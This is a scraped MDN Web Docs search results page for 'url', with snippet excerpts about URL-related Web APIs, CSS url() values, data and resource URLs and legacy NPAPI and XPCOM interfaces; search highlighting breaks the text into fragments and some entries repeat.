Search completed in 1.13 seconds.
URL.createObjectURL() - Web APIs
the
url.createobject
url() static method creates a domstring containing a
url representing the object given in the parameter.
... the
url lifetime is tied to the document in the window on which it was created.
... the new object
url represents the specified file object or blob object.
...And 12 more matches
URL.revokeObjectURL() - Web APIs
the
url.revokeobject
url() static method releases an existing object
url which was previously created by calling
url.createobject
url().
... call this method when you've finished using an object
url to let the browser know not to keep the reference to the file any longer.
... syntax
url.revokeobject
url(object
url) parameters object
url a domstring representing a object
url that was previously created by calling createobject
url().
...And 2 more matches
browser.urlbar.trimURLs
the preference browser.
urlbar.trim
urls controls whether the protocol http and the trailing slash behind domain name (if the open page is exactly the domain name) are hidden.
... type:boolean default value: true exists by default: yes application support:firefox 7.0 status: active; last updated 2012-04-03 introduction: pushed to nightly on 2011-06-23 bugs: bug 665580 values true (default) if the active
url is exactly the domain name, the trailing slash (/) behind the top level domain will be hidden.
... false all parts of the
url are shown.
URLs - Plugins
« previousnext » this chapter describes retrieving
urls and displaying them on specified target pages, posting data to an http server, uploading files to an ftp server, and sending mail.
... uniform resource locator (
url) protocols provide a means for locating and accessing resources that are available on the internet and on intranets.
... plug-ins can request and receive the data associated with
urls of any type that the browser can handle, including http, ftp, news, mailto, and gopher.
...And 66 more matches
<input type="url"> - HTML: Hypertext Markup Language
<input> elements of type
url are used to let the user enter and edit a
url.
... the input value is automatically validated to ensure that it's either empty or a properly-formatted
url before the form can be submitted.
... the :valid and :invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid
url or not.
...And 54 more matches
What is a URL? - Learn web development
this article discusses uniform resource locators (
urls), explaining what they are and how they're structured.
... objective: you will learn what a
url is and how it works on the web.
... summary with hypertext and http,
url is one of the key concepts of the web.
...And 34 more matches
url - Archive of obsolete content
experimental construct, validate, and parse
urls.
... globals constructors
url(source, base) the
url constructor creates an object that represents a
url, verifying that the provided string is a valid
url in the process.
... any api in the sdk which has a
url parameter will accept
url objects, not raw strings, unless otherwise noted.
...And 33 more matches
URL - Web APIs
the
url interface is used to parse, construct, normalize, and encode
urls.
... it works by providing properties which allow you to easily read and modify the components of a
url.
... you normally create a new
url object by specifying the
url as a string when calling its constructor, or by providing a relative
url and a base
url.
...And 25 more matches
URIs and URLs - Archive of obsolete content
the term "uniform resource locator" (
url) refers to the subset of uri that identify resources via a representation of their primary access mechanism (e.g., their network "location"), rather than identifying the resource by name or by some other attribute(s) of that resource.
...although many
url schemes are named after protocols, this does not imply that the only way to access the
url's resource is via the named protocol.
... gateways, proxies, caches, and name resolution services might be used to access some resources, independent of the protocol of their origin, and the resolution of some
url may require the use of more than one protocol (e.g., both dns and http are typically used to access an "http"
url's resource when it can't be found in a local cache).
...And 22 more matches
The Chrome URL - Archive of obsolete content
the chrome
url xul files can be referenced with a regular http
url (or any type of
url) just like html files.
... however, packages that are installed into mozilla's chrome system can be referenced with special chrome
urls.
...another advantage over other
url types is that they automatically handle multiple themes and locales.
...And 17 more matches
URLSearchParams - Web APIs
the
urlsearchparams interface defines utility methods to work with the query string of a
url.
... an object implementing
urlsearchparams can directly be used in a for...of structure, for example the following two lines are equivalent: for (const [key, value] of mysearchparams) {} for (const [key, value] of mysearchparams.entries()) {} note: this feature is available in web workers.
... constructor
urlsearchparams() returns a
urlsearchparams object instance.
...And 16 more matches
URL API - Web APIs
the
url api is a component of the
url standard, which defines what constitutes a valid uniform resource locator and the api that accesses and manipulates
urls.
... the
url standard also defines concepts such as domains, hosts, and ip addresses, and also attempts to describe in a standard way the legacy application/x-www-form-
urlencoded mime type used to submit web forms' contents as a set of key/value pairs.
...
url concepts and usage the majority of the
url standard is taken up by the definition of a
url and how it is structured and parsed.
...And 16 more matches
NPN_GetURL - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary asks the browser to create a stream for the specified
url.
... syntax #include <npapi.h> nperror npn_get
url(npp instance, const char*
url, const char* target); parameters the function has the following parameters: instance pointer to the current plug-in instance.
...
url pointer to the
url of the request.
...And 15 more matches
url() - CSS: Cascading Style Sheets
the
url() css function is used to include a file.
... the parameter is an absolute
url, a relative
url, or a data uri.
... the
url() function can be passed as a parameter of another css functions, like the attr() function.
...And 15 more matches
NPN_PostURL - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary posts data to a
url.
... syntax #include <npapi.h> nperror npn_post
url(npp instance, const char *
url, const char *target, uint32 len, const char *buf, npbool file); parameters the function has the following parameters: instance pointer to the current plug-in instance.
...
url url of the request, specified by the plug-in.
...And 13 more matches
<url> - CSS: Cascading Style Sheets
the <
url> css data type denotes a pointer to a resource, such as an image or a font.
...
urls can be used in numerous css properties, such as background-image, cursor, and list-style.
... uri or
url?
...And 13 more matches
Data URLs - HTTP
data
urls,
urls prefixed with the data: scheme, allow content creators to embed small files inline in documents.
... note: data
urls are treated as unique opaque origins by modern browsers, rather than inheriting the origin of the settings object responsible for the navigation.
... syntax data
urls are composed of four parts: a prefix (data:), a mime type indicating the type of data, an optional base64 token if non-textual, and the data itself: data:[<mediatype>][;base64],<data> the mediatype is a mime type string, such as 'image/jpeg' for a jpeg image file.
...And 13 more matches
URLUtilsReadOnly - Web APIs
the obsolete
urlutilsreadonly interface previously defined utility methods for working with
urls.
...
urlutilsreadonly has been removed from the specification, and the properties it defined are now directly part of the affected interfaces.
...
urlutilsreadonly.href read only is a domstring containing the whole
url.
...And 12 more matches
NPN_GetURLNotify - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary requests creation of a new stream with the contents of the specified
url; gets notification of the result.
... syntax #include <npapi.h> nperror npn_get
urlnotify(npp instance, const char*
url, const char* target, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance.
...
url pointer to the
url of the request.
...And 10 more matches
nsIURL
netwerk/base/public/nsi
url.idlscriptable this interface provides convenience methods that further break down the path portion of nsiuri.
...ebasename.fileextension#ref http://host/directory/filebasename.fileextension;param \ \ / \ ----------------------- \ | / \ filename / ---------------------------- | filepath you can get a nsi
url from an nsiuri, using the queryinterface() method: var myuri = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice) .newuri("http://developer.mozilla.org", null, null); try { var my
url = myuri.queryinterface(components.interfaces.nsi
url); } catch(e) { // the uri is not an
url } or using instanceof:...
... if (myuri instanceof components.interfaces.nsi
url) { // your code here } method overview autf8string getcommonbasespec(in nsiuri auritocompare); autf8string getrelativespec(in nsiuri auritocompare); attributes attribute type description directory autf8string directory portion of a
url.
...And 10 more matches
NPN_PostURLNotify - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary posts data to a
url, and receives notification of the result.
... syntax #include <npapi.h> nperror npn_post
urlnotify(npp instance, const char*
url, const char* target, uint32 len, const char* buf, npbool file, void* notifydata); parameters the function has the following parameters: instance current plug-in instance, specified by the plug-in.
...
url url of the post request, specified by the plug-in.
...And 8 more matches
nsIStandardURL
netwerk/base/public/nsistandard
url.idlscriptable this interface defines the interface to an
url with the standard file path format common to protocols like http, ftp, and file.
... it supports initialization from a relative path and provides some customization on how
urls are normalized.
... inherits from: nsimutable last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/standard-
url;1.
...And 8 more matches
URL() - Web APIs
the
url() constructor returns a newly created
url object representing the
url defined by the parameters.
... if the given base
url or the resulting
url are not valid
urls, the javascript typeerror exception is thrown.
... syntax const
url = new
url(
url [, base]) parameters
url a usvstring representing an absolute or relative
url.
...And 7 more matches
Choosing between www and non-www URLs - HTTP
a recurring question among website owners is whether to choose non-www or www
urls.
... in an http
url, the first substring that follows the initial http:// or https:// is called the domain name.
...this includes always linking to the chosen domain (which shouldn't be hard if you're using relative
urls in your website) and always sharing links (by email/social networks, etc.) to the same domain.
...And 7 more matches
Modifying Web Pages Based on URL - Archive of obsolete content
one or more patterns to match
urls for the pages you want to modify.
... a simple code snippet where content script is supplied as contentscript option and
url pattern is given as include option is as follows: // import the page-mod api var pagemod = require("sdk/page-mod"); // create a page-mod // it will run a script whenever a ".org"
url is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); do as follows: create a new directory and navigate to it.
... use contentscriptfile option instead of contentscript and pass it script
url which can be obtained using self.data.
url("my-script.js").
...And 6 more matches
RTCIceServers.urls - Web APIs
the rtciceserver dictionary's
urls property specifies the
url or
urls of the servers to be used for ice negotiations.
... syntax var iceserver = {
urls = iceserver
url | [
url1, ...,
urln ], username: "webrtc", // optional credential: "turnpassword" // optional }; iceservers.push(iceserver); the value of this property may be specified as a single
url or as an array of multiple
urls.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ {
urls: "stun:stunserver.example.org" } ] }); notice that only the
urls property is provided; the stun server doesn't require authentication, so this is all that's needed.
...And 6 more matches
NPP_URLNotify - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary notifies the plug-in instance of the completion of a
url request.
... syntax #include <npapi.h> void npp_
urlnotify(npp instance, const char*
url, npreason reason, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance.
...
url url of the npn_get
urlnotify() or npn_post
urlnotify() request that has completed.
...And 5 more matches
nsIURLFormatter
toolkit/components/
urlformatter/public/nsi
urlformatter.idlscriptable this interface exposes methods to substitute variables in
url formats.
...mozilla applications linking to mozilla websites are strongly encouraged to use
urls of the following format: http[s]://%service%.mozilla.[com|org]/%locale%/ method overview astring format
url(in astring aformat); astring format
urlpref(in astring apref); methods format
url() formats a string
url.
...astring format
url( in astring aformat ); parameters aformat unformatted
url as a string.
...And 5 more matches
FileSystemEntry.toURL() - Web APIs
the filesystementry interface's method to
url() creates and returns a string containing a
url which can be used to identify the file system entry.
... this is done by exposing a new
url scheme—filesystem:—that can be used as the value of src and href attributes.
... syntax filesystementry.to
url([mimetype]); parameters mimetype optional an optional string specifying the mime type to use when interpreting the file.
...And 5 more matches
FileReader.readAsDataURL() - Web APIs
the readasdata
url method is used to read the contents of the specified blob or file.
...at that time, the result attribute contains the data as a data:
url representing the file's data as a base64 encoded string.
... note: the blob's result cannot be directly decoded as base64 without first removing the data-
url declaration preceding the base64-encoded data.
...And 4 more matches
HTMLCanvasElement.toDataURL() - Web APIs
the htmlcanvaselement.todata
url() method returns a data uri containing a representation of the image in the format specified by the type parameter (defaults to png).
... syntax canvas.todata
url(type, encoderoptions); parameters type optional a domstring indicating the image format.
... examples given this <canvas> element: <canvas id="canvas" width="5" height="5"></canvas> you can get a data-
url of the canvas with the following lines: var canvas = document.getelementbyid('canvas'); var data
url = canvas.todata
url(); console.log(data
url); // "data:image/png;base64,ivborw0kggoaaaansuheugaaaauaaaafcayaaacnby // blaaaadeleqvqimwngobmaaabpaafei8araaaaaelftksuqmcc" setting image quality with jpegs var fullquality = canvas.todata
url('image/jpeg', 1.0); // data:image/jpeg;base64,/9j/4aaqskzjr...
...And 4 more matches
URLSearchParams.set() - Web APIs
the set() method of the
urlsearchparams interface sets the value associated with a given search parameter to the given value.
... syntax
urlsearchparams.set(name, value) parameters name the name of the parameter to set.
... examples let's start with a simple example: let
url = new
url('https://example.com?foo=1&bar=2'); let params = new
urlsearchparams(
url.search.slice(1)); //add a third parameter.
...And 4 more matches
<base>: The Document Base URL element - HTML: Hypertext Markup Language
the html <base> element specifies the base
url to use for all relative
urls in a document.
... a document's used base
url can be accessed by scripts with document.baseuri.
... if either of the following attributes are specified, this element must come before other elements with attribute values of
urls, such as <link>’s href attribute.
...And 4 more matches
NPN_SetValueForURL - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary allows a plugin to change the stored information associated with a
url, in particular its cookies.
... (while the api theoretically allows the preferred proxy for a given
url to be changed, doing so does not have much meaning given how proxies are configured, and is not supported.) syntax #include <npapi.h> typedef enum { npn
urlvcookie = 501, npn
urlvproxy } npn
urlvariable; nperror npn_setvaluefor
url(npp instance, npn
urlvariable variable, const char *
url, const char *value, uint32_t len); parameters this function has the following parameters: instance pointer to the current plug-in instance.
...the only supported type is npn
urlvcookie.
...And 3 more matches
nsIURLParser
netwerk/base/public/nsi
urlparser.idlscriptable specifies the interface to an
url parser that attempts to follow the definitions of rfc 2396.
...sionlen); void parsepath(in string path, in long pathlen, out unsigned long filepathpos, out long filepathlen, out unsigned long parampos, out long paramlen, out unsigned long querypos, out long querylen, out unsigned long refpos, out long reflen); void parseserverinfo(in string serverinfo, in long serverinfolen, out unsigned long hostnamepos, out long hostnamelen, out long port); void parse
url(in string spec, in long speclen, out unsigned long schemepos, out long schemelen, out unsigned long authoritypos, out long authoritylen, out unsigned long pathpos, out long pathlen); void parseuserinfo(in string userinfo, in long userinfolen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen); methods the string to parse in the methods m...
...hpos filepathlen parampos obsolete since gecko 9.0 paramlen obsolete since gecko 9.0 querypos querylen refpos reflen parseserverinfo() serverinfo = <hostname>:<port> void parseserverinfo( in string serverinfo, in long serverinfolen, out unsigned long hostnamepos, out long hostnamelen, out long port ); parameters serverinfo serverinfolen hostnamepos hostnamelen port parse
url() breaks the
url string up into its 3 major components: a scheme, an authority section (hostname, and so on.), and a path.
...And 3 more matches
FileReaderSync.readAsDataURL() - Web APIs
the readasdata
url() method of the filereadersync interface allows to read file or blob objects in a synchronous way into an domstring representing a data
url.
... syntax readasdata
url(file); readasdata
url(blob); parameters blob the dom file or blob to read.
... return value an domstring representing the input data as a data
url.
...And 3 more matches
RTCIceServer.url - Web APIs
the obsolete rtciceserver dictionary's
url property specifies the
url of a single ice server to be used while negotiating connections.
...you should instead use the newer
urls property, which allows you to optionally specify multiple
urls for the server.
...
url = iceserver
url, ...
...And 3 more matches
Response.url - Web APIs
the
url read-only property of the response interface contains the
url of the response.
... the value of the
url property will be the final
url obtained after any redirects.
... syntax var my
url = response.
url; value a usvstring.
...And 3 more matches
URL.origin - Web APIs
the origin read-only property of the
url interface returns a usvstring containing the unicode serialization of the origin of the represented
url.
... the exact structure varies depending on the type of
url: for http or https
urls, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified).
... for file:
urls, the value is browser dependant.
...And 3 more matches
Getting the page URL in NPAPI plugin - Archive of obsolete content
sometimes, you want to restrict an npapi plugin to be loadable only from a certain
url or domain or scheme.
...there's unfortunately no trivial way to do that, but you can still do it, by asking the browser for the page
url during plugin initialization.
... then you can just refuse to do anything, if you don't like the
url, or you can compare it with the other
url you want to contact.
...And 2 more matches
NPN_GetValueForURL - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary provides information to a plugin which is associated with a given
url, for example the cookies or preferred proxy.
... syntax #include <npapi.h> typedef enum { npn
urlvcookie = 501, npn
urlvproxy } npn
urlvariable; nperror npn_getvaluefor
url(npp instance, npn
urlvariable variable, const char *
url, char **value, uint32_t *len); parameters this function has the following parameters: instance pointer to the current plug-in instance.
... variable selects the type of information to be retrieved (npn
urlvcookie or npn
urlvproxy)
url the
url for which to fetch information.
...And 2 more matches
URL - MDN Web Docs Glossary: Definitions of Web-related terms
uniform resource locator (
url) is a text string that specifies where a resource (such as a web page, image, or video) can be found on the internet.
... in the context of http,
urls are called "web address" or "link".
... your browser displays
urls in its address bar, for example: https://developer.mozilla.org some browsers display only the part of a
url after the "//", that is, the domain name.
...And 2 more matches
openLocationLastURL.jsm
(bug 953124) the openlocationlast
url.jsm javascript code module lets you set and retrieve the
url most recently opened using the "open location" option in the file menu.
... to use this, you first need to import the code module into your javascript scope: components.utils.import("resource:///modules/openlocationlast
url.jsm"); once you've imported the module, you can then use the openlocationlast
url object it exports.
... this object lets you fetch and change the
url that is placed in the "open location" dialog box when it opens.
...And 2 more matches
Event.msConvertURL() - Web APIs
the msconvert
url method instructs the html paste operation on how to modify the src attribute that corresponds to each file in the clipboarddata.files collection, allowing otherwise inaccessible files to be converted to blob or data uris.
... syntax var retval = dragevent.msconvert
url(file, targettype, target
url); parameters file [in] type: file the file object to be converted.
... target
url [in, optional] type:
url the target
url.
...And 2 more matches
URLSearchParams() - Web APIs
the
urlsearchparams() constructor creates and returns a new
urlsearchparams object.
... syntax var
urlsearchparams = new
urlsearchparams(init); parameters init optional one of: a usvstring, which will be parsed from application/x-www-form-
urlencoded format.
... return value a
urlsearchparams object instance.
...And 2 more matches
Using URL values for the cursor property - CSS: Cascading Style Sheets
gecko 1.8 supports
url values for the css cursor property on windows and linux.
... syntax the basic (css 2.1) syntax for this property is: cursor: [ <
url> , ]* <keyword> this means that zero or more
urls may be specified (comma-separated), which must be followed by one of the keywords defined in the css specification, such as auto or pointer.
... for example, the following value would be allowed: cursor:
url(foo.cur),
url(http://www.example.com/bar.gif), auto; this will first try loading foo.cur.
...And 2 more matches
nsIExternalURLHandlerService
uriloader/exthandler/nsiexternal
urlhandlerservice.idlscriptable the external
url handler service is used for finding platform-specific applications for handling particular
urls.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsihandlerinfo get
urlhandlerinfofromos(in nsiuri a
url, out boolean afound); methods get
urlhandlerinfofromos() given a
url, looks up the handler info from the operating system.
...nsihandlerinfo get
urlhandlerinfofromos( in nsiuri a
url, out boolean afound ); parameters a
url the
url we are looking for.
... afound was an operating system default handler for this
url found?
EventSource.url - Web APIs
the
url read-only property of the eventsource interface returns a domstring representing the
url of the source.
... syntax var my
url = eventsource.
url; value a domstring representing the
url of the source.
... examples var evtsource = new eventsource('sse.php'); console.log(evtsource.
url); note: you can find a full example on github — see simple sse demo using php.
... specifications specification status comment html living standardthe definition of '
url' in that specification.
PasswordCredential.iconURL - Web APIs
the icon
url read-only property of the passwordcredential interface returns a usvstring containing a
url pointing to an image for an icon.
...the
url must be accessible without authentication.
... syntax
url =passwordcredential.icon
url value a usvstring containing a
url.
... specifications specification status comment credential management level 1the definition of 'icon
url' in that specification.
RTCIceCandidateStats.url - Web APIs
the rtcicecandidatestats dictionary's
url property specifies the
url of the ice server from which the described candidate was obtained.
... syntax
url = rtcicecandidatestats.
url; value a domstring specifying the
url of the ice server from which the candidate described by the rtcicecandidatestats was obtained.
... this is the same
url that would be received in the icecandidate event's
url property.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.
url' in that specification.
Report.url - Web APIs
the
url read-only property of the report interface returns the
url of the document that generated the report.
... syntax let report
url = reportinstance.
url returns a string representing the
url of the document that generated the report.
... examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { let firstreport = reports[0]; // log the
url of the document that generated the first report // e.g.
... "https://www.example.com/cats.html" console.log(firstreport.
url); }, options); specifications specification status comment reporting apithe definition of 'report.
url' in that specification.
URL.hash - Web APIs
the hash property of the
url interface is a usvstring containing a '#' followed by the fragment identifier of the
url.
...if the
url does not have a fragment identifier, this property contains an empty string — "".
... syntax const string =
url.hash
url.hash = newhash value a usvstring.
... examples const
url = new
url('/docs/web/api/
url/href#examples'); console.log(
url.hash); // logs: '#examples' specifications specification status comment
urlthe definition of '
url.hash' in that specification.
URL.port - Web APIs
the port property of the
url interface is a usvstring containing the port number of the
url.
... if the
url does not contain an explicit port number, it will be set to ''.
... syntax const portnumber =
url.port
url.port = newportnumber value a usvstring.
... examples const
url = new
url('https://mydomain.com:80/svn/repos/'); console.log(
url.port); // logs '80' specifications specification status comment
urlthe definition of '
url.port' in that specification.
URL.search - Web APIs
the search property of the
url interface is a search string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the
url.
... modern browsers provide the
url.searchparams property to make it easy to parse out the parameters from the query string.
... syntax const searchparams = object.search
url.search = newsearchparams value a usvstring.
... examples const
url = new
url('/docs/web/api/
url/search?q=123'); console.log(
url.search); // logs "?q=123" specifications specification status comment
urlthe definition of '
url.search' in that specification.
URL.search - Web APIs
the search property of the
url interface is a search string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the
url.
... modern browsers provide the
url.searchparams property to make it easy to parse out the parameters from the query string.
... syntax const searchparams = object.search
url.search = newsearchparams value a usvstring.
... examples const
url = new
url('/docs/web/api/
url/search?q=123'); console.log(
url.search); // logs "?q=123" specifications specification status comment
urlthe definition of '
url.search' in that specification.
URL.searchParams - Web APIs
the searchparams readonly property of the
url interface returns a
urlsearchparams object allowing access to the get decoded query arguments contained in the
url.
... syntax const
urlsearchparams =
url.searchparams value a
urlsearchparams object.
... examples if the
url of your page is https://example.com/?name=jonathan%20smith&age=18 you could parse out the name and age parameters using: let params = (new
url(document.location)).searchparams; let name = params.get('name'); // is the string "jonathan smith".
... let age = parseint(params.get('age')); // is the number 18 specifications specification status comment
urlthe definition of 'searchparams' in that specification.
URL.toString() - Web APIs
the
url.tostring() stringifier method returns a usvstring containing the whole
url.
... it is effectively a read-only version of
url.href.
... syntax const href =
url.tostring() return value a usvstring.
... examples const
url = new
url("/docs/web/api/
url/tostring");
url.tostring(); // should return the
url as a string specifications specification status comment
urlthe definition of 'stringifier' in that specification.
URLSearchParams.append() - Web APIs
the append() method of the
urlsearchparams interface appends a specified key/value pair as a new search parameter.
... syntax
urlsearchparams.append(name, value) parameters name the name of the parameter to append.
... examples let
url = new
url('https://example.com?foo=1&bar=2'); let params = new
urlsearchparams(
url.search.slice(1)); //add a second foo parameter.
... params.append('foo', 4); //query string is now: 'foo=1&bar=2&foo=4' specifications specification status comment
urlthe definition of 'append()' in that specification.
URLSearchParams.delete() - Web APIs
the delete() method of the
urlsearchparams interface deletes the given search parameter and all its associated values, from the list of all search parameters.
... syntax
urlsearchparams.delete(name) parameters name the name of the parameter to be deleted.
... return value void examples let
url = new
url('https://example.com?foo=1&bar=2&foo=3'); let params = new
urlsearchparams(
url.search.slice(1)); // delete the foo parameter.
... params.delete('foo'); //query string is now: 'bar=2' specifications specification status comment
urlthe definition of 'delete()' in that specification.
URLSearchParams.getAll() - Web APIs
the getall() method of the
urlsearchparams interface returns all the values associated with a given search parameter as an array.
... syntax
urlsearchparams.getall(name) parameters name the name of the parameter to return.
... examples let
url = new
url('https://example.com?foo=1&bar=2'); let params = new
urlsearchparams(
url.search.slice(1)); //add a second foo parameter.
... specifications specification status comment
urlthe definition of 'getall()' in that specification.
URLSearchParams.toString() - Web APIs
the tostring() method of the
urlsearchparams interface returns a query string suitable for use in a
url.
... syntax
urlsearchparams.tostring() parameters none.
...(returns an empty string if no search parameters have been set.) examples let
url = new
url('https://example.com?foo=1&bar=2'); let params = new
urlsearchparams(
url.search.slice(1)); //add a second foo parameter.
... params.append('foo', 4); console.log(params.tostring()); //prints 'foo=1&bar=2&foo=4' // note: params can also be directly created let
url = new
url('https://example.com?foo=1&bar=2'); let params =
url.searchparams; // or even simpler let params = new
urlsearchparams('foo=1&bar=2'); specifications specification status comment
urlthe definition of 'tostring() (see "stringifier")' in that specification.
XMLHttpRequest.responseURL - Web APIs
the read-only xmlhttprequest.response
url property returns the serialized
url of the response or the empty string if the
url is null.
... if the
url is returned, any
url fragment present in the
url will be stripped away.
... the value of response
url will be the final
url obtained after any redirects.
... example var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/test', true); xhr.onload = function () { console.log(xhr.response
url); // http://example.com/test }; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
Resource URLs - HTTP
resource
urls,
urls prefixed with the resource: scheme, are used by firefox and firefox browser extensions to load resources internally, but some of the information is available to sites the browser connects to as well.
... syntax resource
urls are composed of two parts: a prefix (resource:), and a
url pointing to the resource you want to load: resource://<
url> an example: resource://gre/res/svg.css when arrows are found in the resource
url's ('->'), it means that the first file loaded the next one: resource://<file-loader> -> <file-loaded> please refer to identifying resources on the web for more general details.
... threats because some of the information shared by resource:
urls is available to websites, a web page could run internal scripts and inspect internal resources of firefox, including the default preferences, which could be a serious security and privacy issue.
... note: it is recommended that web and extension developers don’t try to use resource
urls anymore.
start_url - Web app manifests
type string mandatory no the start_
url member is a string that represents the start
url of the web application — the prefered
url that should be loaded when the user launches the web application (e.g., when the user taps on the web application's icon from a device's application menu or homescreen).
... note: the start_
url member is purely advisory, and a user agent may ignore it or allow the user to alter it at install time or afterwards.
... examples absolute
url "start_
url": "https://example.com" relative
url if the
url is relative, the manifest
url is used as the base
url to resolve it.
... "start_
url": "../startpoint.html" specification specification status comment feedback web app manifestthe definition of 'start_
url' in that specification.
nsIFileURL
netwerk/base/public/nsifile
url.idlscriptable provides access to the underlying nsifile object corresponding to a
url.
... the
url scheme need not be file:, since other local protocols may map
urls to files (e.g., resource:).
... inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) attributes attribute type description file nsifile get/set nsifile corresponding to this
url.
Client.url - Web APIs
the
url read-only property of the client interface returns the
url of the current service worker client.
... syntax var client
url = client.
url; value a usvstring.
...icationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: 'window' }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.
url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of '
url' in that specification.
File.getAsDataURL() - Web APIs
summary the getasdata
url provides a data:
url that encodes the entire contents of the referenced file.
... note: this method is obsolete; you should use the filereader method readasdata
url() instead.
... syntax var
url = instanceoffile.getasdata
url(); returns a string representing a data:
url example // fileinput is a htmlinputelement: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; // array with acceptable file types var accept = ["image/png"]; // img is a htmlimgelement: <img id="myimg"> var img = document.getelementbyid("myimg"); // if we accept the first selected file type if (accept.indexof(files[0].mediatype) > -1) { // display the image // same as <img src="data:image/png,<imagedata>"> img.src = files[0].getasdata
url(); } specification not part of any specification.
HashChangeEvent.newURL - Web APIs
the new
url read-only property of the hashchangeevent interface returns the new
url to which the window is navigating.
... syntax let newevent
url = event.new
url; value a domstring.
... example window.addeventlistener('hashchange', function(event) { console.log('hash changed to ' + event.new
url); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: new
url' in that specification.
HashChangeEvent.oldURL - Web APIs
the old
url read-only property of the hashchangeevent interface returns the previous
url from which the window was navigated.
... syntax let oldevent
url = event.old
url; value a domstring.
... example window.addeventlistener('hashchange', function(event) { console.log('hash changed from ' + event.old
url); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: old
url' in that specification.
MerchantValidationEvent.validationURL - Web APIs
the merchantvalidationevent property validation
url is a read-only string value providing the
url from which to fetch the payment handler-specific data needed to validate the merchant.
... syntax validation
url = merchantvalidationevent.validation
url; value a read-only usvstring giving the
url from which to load payment handler specific data needed to complete the merchant verification process.
... specifications specification status comment payment request apithe definition of 'merchantvalidationevent.validation
url' in that specification.
Request.url - Web APIs
the
url read-only property of the request interface contains the
url of the request.
... syntax var my
url = request.
url; value a usvstring indicating the
url of the request.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the
url of the request in a variable: var myrequest = new request('flowers.jpg'); var my
url = myrequest.
url; // "http://mdn.github.io/fetch-examples/fetch-request/flowers.jpg" specifications specification status comment fetchthe definition of '
url' in that specification.
Response.useFinalURL - Web APIs
the usefinal
url property of the response interface contains a boolean stating whether this is the final
url of the response.
... syntax var isfinal
url = response.usefinal
url; value a boolean indicating whether or not the
url is final rather than a redirect.
... example consider a script residing in page index.html: fetch('/test').then((r) => console.log(r.
url)) test.html is being controlled by the service worker sw.js: onfetch = (e) => { e.respondwith(fetch('/page2').then((r) => { r.usefinal
url = true; return r; }) } the output will be /page2 and not /test in index.html, since setting the usefinal
url means that the response's
url is not set to request's
url.
URL.host - Web APIs
the host property of the
url interface is a usvstring containing the host, that is the hostname, and then, if the port of the
url is nonempty, a ':', followed by the port of the
url.
... syntax const host =
url.host
url.host = newhost value a usvstring.
... examples let
url = new
url('/docs/web/api/
url/host'); console.log(
url.host); // "developer.mozilla.org"
url = new
url('https://developer.mozilla.org:443/docs/web/api/
url/host'); console.log(
url.host); // "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port
url = new
url('https://developer.mozilla.org:4097/docs/web/api/
url/host'); console.log(
url.host); // "developer.mozilla.org:4097" specifications specification status comment
urlthe definition of '
url.host' in that specification.
URL.hostname - Web APIs
the hostname property of the
url interface is a usvstring containing the domain name of the
url.
... syntax const domain =
url.hostname
url.hostname = domain value a usvstring.
... examples const
url = new
url('/docs/web/api/
url/hostname'); console.log(
url.hostname); // logs: 'developer.mozilla.org' specifications specification status comment
urlthe definition of '
url.hostname' in that specification.
URL.href - Web APIs
the href property of the
url interface is a usvstring containing the whole
url.
... syntax const
urlstring =
url.href
url.href = new
urlstring value a usvstring.
... examples const
url = new
url('/docs/web/api/
url/href'); console.log(
url.href); // logs: '/docs/web/api/
url/href' specifications specification status comment
urlthe definition of '
url.href' in that specification.
URL.password - Web APIs
the password property of the
url interface is a usvstring containing the password specified before the domain name.
... syntax const passwordstring =
url.password
url.password = newpassword value a usvstring.
... examples const
url = new
url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/
url/password'); console.log(
url.password) // logs "flabada" specifications specification status comment
urlthe definition of '
url.password' in that specification.
URL.pathname - Web APIs
the pathname property of the
url interface is a usvstring containing an initial '/' followed by the path of the
url (or the empty string if there is no path).
... syntax const path =
url.pathname
url.pathname = newpath value a usvstring.
... examples const
url = new
url('/docs/web/api/
url/pathname?q=value'); console.log(
url.pathname); // logs "/docs/web/api/
url/pathname" specifications specification status comment
urlthe definition of '
url.pathname' in that specification.
URL.pathname - Web APIs
the pathname property of the
url interface is a usvstring containing an initial '/' followed by the path of the
url (or the empty string if there is no path).
... syntax const path =
url.pathname
